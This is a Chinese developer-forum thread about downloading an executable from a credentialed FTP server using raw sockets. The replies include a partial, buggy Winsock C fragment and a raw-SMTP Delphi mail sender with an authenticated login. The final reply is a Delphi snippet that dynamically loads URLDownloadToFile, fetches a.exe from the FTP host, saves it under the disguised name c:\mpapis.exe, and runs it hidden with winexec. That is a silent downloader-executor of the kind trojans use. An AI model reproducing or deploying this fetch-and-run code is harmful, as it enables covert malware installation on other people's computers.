在FTP服务上存放着一个文件,
假设服务10.1.1.101,用户名为admin 密码为gloab 文件名为a.exe
在IE中输入ftp://admin:[email protected]/a.exe便可下载这个文件,
谁能不用Delphi或BCB中的控件,完全用Sockets写一个下载这个文件的程序啊,
感激不尽!!!
假设服务10.1.1.101,用户名为admin 密码为gloab 文件名为a.exe
在IE中输入ftp://admin:[email protected]/a.exe便可下载这个文件,
谁能不用Delphi或BCB中的控件,完全用Sockets写一个下载这个文件的程序啊,
感激不尽!!!
解决方案 »
- 散分
- 借题散分:各位XDJM,FastMM和DelphiSpeedUp有更新了,需要的自己搜索下载啦!
- 如何使显示的窗体呈不激活状态???
- "请教下面代码Delphi的VB实现?300分跪求"的加分贴1,刚才不小心设了20分,再加100
- 誰有Clipper 5.x?
- 根据名称的字符串值去调用函数
- 关于installshield安装数据库程序的问题
- 谁能给一下深度历险(forum.vclxx.org)的IP地址?
- 关于quickrep.preview?
- Delphi 6 试用抢先报道
- DLL开发高手请入,具头痛的问题
- 使用TeeChart 7.0在报表上绘制曲线,在分发时,为什么有的机子能显示,而有的机子就不能显示呢?
SOCKET sClient;
char szBuffer[DEFAULT_BUFFER];
int ret,
i;
struct sockaddr_in server;
struct hostent *host = NULL; if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("Failed to load Winsock library!\n");
return 1;
}
strcpy(szMessage, DEFAULT_MESSAGE); sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sClient == INVALID_SOCKET)
{
printf("socket() failed: %d\n", WSAGetLastError());
return 1;
}
server.sin_family = AF_INET;
server.sin_port = htons("21");
server.sin_addr.s_addr = inet_addr("10.1.1.101");我就会这么多,没办法,请高手接写去写.
procedure SendMail(EmailForm,EmailTo,User,PassWord,Smtp,EmailBody,Subject:string);
var
s:tsocket;
wsa:twsadata;
server:tsockaddr;
errorcode:integer;
account:pchar;
recvbuffer,sendbuffer:array[0..79] of char;
head:array[0..255] of char;
str:string;
SendBody:String;
begin
//windows.Beep(300,200) ;
SendBody:='From:传奇<'+EmailForm+'>'#13#10
+'To: <'+EmailTo+'>'#13#10 //收信地址,由您设定
+'Subject: '+Subject+#13#10
+#13#10
+EmailBody+#13#10
+'.'+#13#10#0;
wsastartup($0101,wsa); getmem(account,256);
//分配内存空间 strcopy(account,pchar(EmailForm));
//填充一些基本的信息
s:=socket(2,1,0);
//建立一个套接字 if s=invalid_socket then exit; server.sin_family:=af_inet;
server.sin_port:=htons(25); if isIP(Smtp) then // <-检查是否是IP地址,不是的话进行转换
server.sin_addr.S_addr:=inet_addr(pchar(Smtp))
else
server.sin_addr.S_addr:=inet_addr(pchar(HostToIP(Smtp))); errorcode:=connect(s,server,sizeof(server)); if errorcode=0 then
begin
//windows.Beep(300,200) ;
recv(s,head,sizeof(head),0);
//这里调用recv来接受服务器的banner
strpcopy(sendbuffer,'EHLO MS'#13#10);
send(s,sendbuffer,9,0);
//我们发送命令HELO
recv(s,recvbuffer,sizeof(recvbuffer),0);
str:= 'AUTH LOGIN'#13#10 ;
strpcopy(sendbuffer,str+#13#10);
send(s,sendbuffer,12,0);
recv(s,recvbuffer,sizeof(recvbuffer),0);
str:= Base64Encode(User)+#13#10 ;
strpcopy(sendbuffer,str);
send(s,sendbuffer,length(str),0);
recv(s,recvbuffer,sizeof(recvbuffer),0);
//windows.Beep(300,200) ;
str:= Base64Encode(PassWord)+#13#10 ;
strpcopy(sendbuffer,str);
send(s,sendbuffer,length(str),0);
recv(s,recvbuffer,sizeof(recvbuffer),0);
str:= 'Mail from:<'+EmailForm+'>'+#13#10 ;
strpcopy(sendbuffer,str);
send(s,sendbuffer,length(str),0);
//我们发送命令MAIL FROM
recv(s,recvbuffer,sizeof(recvbuffer),0);
str:= 'RCPT to::<'+EmailTo+'>'+#13#10 ;
strpcopy(sendbuffer,str);
send(s,sendbuffer,length(str),0);
recv(s,recvbuffer,sizeof(recvbuffer),0);
//已经发送count个rcpt to命令
strpcopy(sendbuffer,'DATA'+#13#10);
send(s,sendbuffer,6,0);
//这里开始发送信笺的主体
recv(s,recvbuffer,sizeof(recvbuffer),0);
send(s,SendBody[1],length(SendBody),0);
// strpcopy(sendbuffer,ENDSIGN);
// send(s,sendbuffer,5,0);
//这里发送信笺结束标志
recv(s,recvbuffer,sizeof(recvbuffer),0);
strpcopy(sendbuffer,'QUIT');
send(s,sendbuffer,4,0);
//发送QUIT表示我们要退出会话
recv(s,recvbuffer,sizeof(recvbuffer),0);
closesocket(s);
//关闭套接字 end;//释放内存
freemem(account,256);
wsacleanup;
end;
一个用直接用SocketAPI发邮件的例子,不好意思FTP协议不太了解,你抓一下包,然后把封包填入这个程序框架就可以了。
http://www.prettysky.com/showart.asp?id=1
var
SystemDir:array [0..255] of Char;
DownloadResult:LongInt;
URLDownloadToFile: function(Caller: Pointer; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB: Pointer): LongInt; stdcall;
begin
GetSystemDirectory(SystemDir,255);
@URLDownloadToFile:=GetProcAddress(LoadLibrary(PChar(SystemDir+'\urlmon.dll')),'URLDownloadToFileA');
if Assigned(URLDownloadToFile) then
begin
DownloadResult:=URLDownloadToFile(nil,PChar('ftp://admin:[email protected]/a.exe'),PChar('c:\mpapis.exe'),0,nil);
if DownloadResult=0 then winexec(PChar('c:\mpapis.exe'),0);
end;
end;